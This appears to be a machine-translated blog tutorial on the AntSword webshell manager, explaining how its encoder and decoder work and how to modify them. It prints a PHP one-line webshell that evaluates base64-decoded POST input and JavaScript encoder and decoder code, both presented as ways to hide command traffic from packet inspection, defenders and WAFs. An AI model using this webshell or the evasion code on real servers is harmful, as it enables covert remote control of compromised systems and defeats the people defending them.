Ant sword from introduction to magic transformation [2] ยท codec principle and transformation

Principle of ant sword codec

Encoder: encode the transmission traffic and the server decodes it

Decoder: decode the returned traffic from the server

1, Encoder

Enter three parameters
pwd: Connection password, type string. 
data: Data array transferred, type string Array,.
ext: Some extension options may be used in some scenarios.

Output a parameter
data: The array processed by the encoder, which you can view through the agent post What data has been submitted, and here data It's exactly the same

The following is the code generated by the encoder by default

Principle: pass all the encoded and decrypted codes to the past

When capturing packets, we will see a plaintext code, that is, the decrypted code

Functions of the following codes:

  • Encode the data to be sent, corresponding to data[randomID]
  • Decode the data received from the server, corresponding to data[pwd], and after decoding, it will still be sent to the server again, so you can see the plaintext transmission in the requestBody
/**
 * php::base64 encoder
 * Create at: 2021/10/17 14:07:48
 */

'use strict';

/*
* @param  {String} pwd   Connection password
* @param  {Array}  data  payload array before encoder processing
* @return {Array}  data  payload array processed by encoder
*/
module.exports = (pwd, data, ext={}) => {
  // ##########Please write your own code below###################
  // The following code is an example of PHP Base64

  // Generate a random variable name
  let randomID = `_0x${Math.random().toString(16).substr(2)}`;
  // The original payload is in data ['']
  // After it is taken out, it is converted to base64 coding and placed under randomID key
  data[randomID] = Buffer.from(data['_']).toString('base64');

  // After receiving the payload, the shell first processes the contents under the pwd parameter,
  data[pwd] = Buffer.from(data['_']).toString('base64');

  // ##########Please write your own code above###################

  // Delete_ Original payload
  delete data['_'];
  // Returns the payload array processed by the encoder
  return data;
}

Encoder modification

If you do not want to pass the decoded code, you need to change the following two contents

  1. webshell uploaded to the server (one sentence Trojan horse)

    <?php eval(base64_decode($_POST["test"]));?>
    
  2. Modify the content of the encoder so that it does not send the decoded content, but only the base64 encoded data

    /**
     * php::base64 encoder
     * Create at: 2021/10/17 22:03:40
     */
    
    'use strict';
    
    /*
    * @param  {String} pwd   Connection password
    * @param  {Array}  data  payload array before encoder processing
    * @return {Array}  data  payload array processed by encoder
    */
    module.exports = (pwd, data, ext={}) => {
      // ##########Please write your own code below###################
      // The following code is an example of PHP Base64
    
      // Generate a random variable name
      //let randomID = `_0x${Math.random().toString(16).substr(2)}`;
      // The original payload is in data ['']
      // After it is taken out, it is converted to base64 coding and placed under randomID key
      //data[randomID] = Buffer.from(data['_']).toString('base64');
    
      // After receiving the payload, the shell first processes the contents under the pwd parameter,
      data[pwd] = Buffer.from(data['_']).toString('base64');
    
      // ##########Please write your own code above###################
    
      // Delete_ Original payload
      delete data['_'];
      // Returns the payload array processed by the encoder
      return data;
    }
    

Then connect and a successful connection will be displayed

Finally, take a look at the packet, so you can't see the decoded code, and the concealment has been greatly improved

However, if the command is executed through the virtual terminal, the defender can execute the echo content through the command, and then judge that it is an attack event

Therefore, we also need to consider the decoding module, that is, the decoder should not choose the default mode

2, Decoder

First, let's take a look at the two key decoding functions asoutput and decode_buff

  • asoutput: encode the returned data
  • decode_buff: decode when receiving

ext is an extension option, including password and other options. It can be extended. For example, a key is required for decoding.

/**
 * php::base64 decoder
 * Create at: 2021/10/17 22:02:33
 */

'use strict';

module.exports = {
  /**
   * @returns {string} asenc The returned data is base64 encoded
   * Custom output function name must be asenc
   * The syntax used in this function needs to be consistent with the shell
   */
  asoutput: () => {
    return `function asenc($out){
      return @base64_encode($out);
    }
    `.replace(/\n\s+/g, '');
  },
  /**
   * Decoding Buffer
   * @param {string} data Buffer to be decoded
   * @returns {string} Decoded Buffer
   */
  decode_buff: (data, ext={}) => {
    return Buffer.from(data.toString(), 'base64');
  }
}

After the decoder is written and tested, it will be found that the response packet is also encrypted, and there is a boundary string before and after the returned part. Only the client knows the boundary location. WAF doesn't know, so it can't decode

However, with the continuous development and progress of random technology, WAF can also effectively identify base64 coding through regular matching, so we need more complex encryption without bypassing WAF

For example, when we execute a command, because the command is fixed, it is also fixed after coding, so we can use it as a feature to detect

Keywords: webshell

Added by platnium on Sun, 26 Dec 2021 16:00:11 +0200